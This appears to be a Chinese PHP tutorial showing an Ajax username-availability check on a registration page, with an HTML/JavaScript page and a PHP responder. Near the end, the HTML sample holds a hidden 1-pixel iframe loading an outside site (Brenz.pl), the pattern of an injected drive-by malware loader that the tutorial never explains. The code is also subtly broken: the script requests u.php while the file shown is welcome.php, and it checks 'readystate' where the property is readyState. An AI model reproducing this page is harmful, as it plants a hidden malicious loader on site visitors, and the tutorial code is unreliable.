PHP系列之集成Ajax实现登录验证

Bertha 。 2021-09-10 21:22 372阅读 0赞

设计一个用户注册页面，当用户输入注册名的时候，检测用户名是否已存在，如果存在，给予提示

我们先打index.php

<html>
    	<head>
    		<meta http-equiv="content-type" content="text/html; charset=gb2312" />
    		<script type="text/JavaScript">
    		function Ajax(){
    			var xmlHttpReq=null;//初始对象xmlHttpReq
    			if(window.ActiveXObject){
    				xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP");
    			}else if(window.XMLHttpRequest){
    				xmlHttpReq=new XMLHttpRequest();
    			}
    			var userId=document.getElementById("userId").value;//value取得id为userId的值
    			url="u.php?userId="+userId;//路径
    			if(xmlHttpReq!=null){//若对象实例化创建成功
    				xmlHttpReq.open("GET",url,true);//open()打开请求
    				xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack()
    				xmlHttpReq.send(null);//请求不包括正文
    			}
    			function RequestCallBack(){//回调函数
    				if(xmlHttpReq.readystate==4){
    					if(xmlHttpReq.status==200){//请求成功
    						document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div
    					}
    				}
    			}
    			
    		}
    		
    		</script>
    	</head>
    	<body>
    	<font>
    		注册
    	</font><br>
    	<form>
    	用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()">
    	
    	<div id="get">
    	</div>
    	</form>
    	<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
    </body>
    </html>

welcome.php

<?php 
    header("content-type:text/html;charset=gb2312");
    //sleep(1);
    
    $userId=$_GET["userId"];
    if($userId=="管理员"){
    	echo "用户名已存在!";
    }else{
    	echo "该用户名可以注册";
    }
    ?>